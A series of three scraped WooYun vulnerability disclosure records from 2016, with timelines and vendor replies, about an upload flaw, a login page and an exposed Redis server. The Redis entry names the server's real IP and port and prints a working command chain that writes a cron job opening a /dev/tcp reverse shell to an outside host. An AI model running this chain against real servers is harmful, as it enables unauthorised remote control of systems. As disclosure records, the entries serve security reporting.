漏洞详情披露状态： 2016-05-05： 细节已通知厂商并且等待厂商处理中2016-05-05： 厂商已经确认，细节仅向厂商公开2016-05-15： 细节向核心白帽子及相关领域专家公开2016-05-25： 细节向普通白帽子公开2016-06-04： 细节向实习白帽子公开2016-06-19： 细节向公众公开简要描述：rt详细说明：注册后上传图片，直接poc，成功反弹 漏洞证明：注册后上传图片，直接poc，成功反弹 修复方案： 版权声明：转载请注明来源 凌零1@乌云漏洞回应厂商回应：危害等级：高漏洞Rank：10确认时间：2016-05-05 21:57厂商回复：感谢您的反馈，我们已经跟进最新状态：暂无

漏洞详情披露状态： 2016-04-27： 细节已通知厂商并且等待厂商处理中2016-04-27： 厂商已经确认，细节仅向厂商公开2016-05-07： 细节向核心白帽子及相关领域专家公开2016-05-17： 细节向普通白帽子公开2016-05-27： 细节向实习白帽子公开2016-06-11： 细节向公众公开简要描述：1详细说明：https://soc.cs-air.com/opws-web/security-Remember-gotoLogin.action 漏洞证明：https://soc.cs-air.com/opws-web/security-Remember-gotoLogin.action 修复方案：o版权声明：转载请注明来源 Jinone@乌云漏洞回应厂商回应：危害等级：中漏洞Rank：10确认时间：2016-04-27 10:10厂商回复：已经收到，感谢。最新状态：暂无

漏洞详情披露状态： 2016-05-03： 细节已通知厂商并且等待厂商处理中2016-05-03： 厂商已经确认，细节仅向厂商公开2016-05-13： 细节向核心白帽子及相关领域专家公开2016-05-23： 细节向普通白帽子公开2016-06-02： 细节向实习白帽子公开2016-06-17： 细节向公众公开简要描述：穷游网某服务未授权访问(可远程SHELL)详细说明：#1 漏洞参考WooYun: 新浪微博某服务器控制不当(可远程SHELL) #2 redis服务对外开放redis://115.182.69.199:3000#3 可以管理 slavecode 区域# Keyspace db0:keys=65454963,expires=130654,avg_ttl=30413755756code 区域# Replication role:master connected_slaves:1 slave0:ip=10.1.1.15,port=6379,state=online,offset=271341594993,lag=1 master_repl_offset:271341599570code 区域config get dir 94) "/u01/redis/data" 漏洞证明：650万条key，不敢执行flush命令测试损坏数据，仅仅证明#漏洞利用，创建一个任务计划，执行命令code 区域echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/114.114.114.114/53 0>&1\n\n"|redis-cli -h 115.182.69.199 -p 3000 -x set 0 config set dir /var/spool/cron/ config set dbfilename root 修复方案：# 设置访问控制版权声明：转载请注明来源 猪猪侠@乌云漏洞回应厂商回应：危害等级：中漏洞Rank：6确认时间：2016-05-03 14:06厂商回复：正在处理，谢谢关注穷游！最新状态：暂无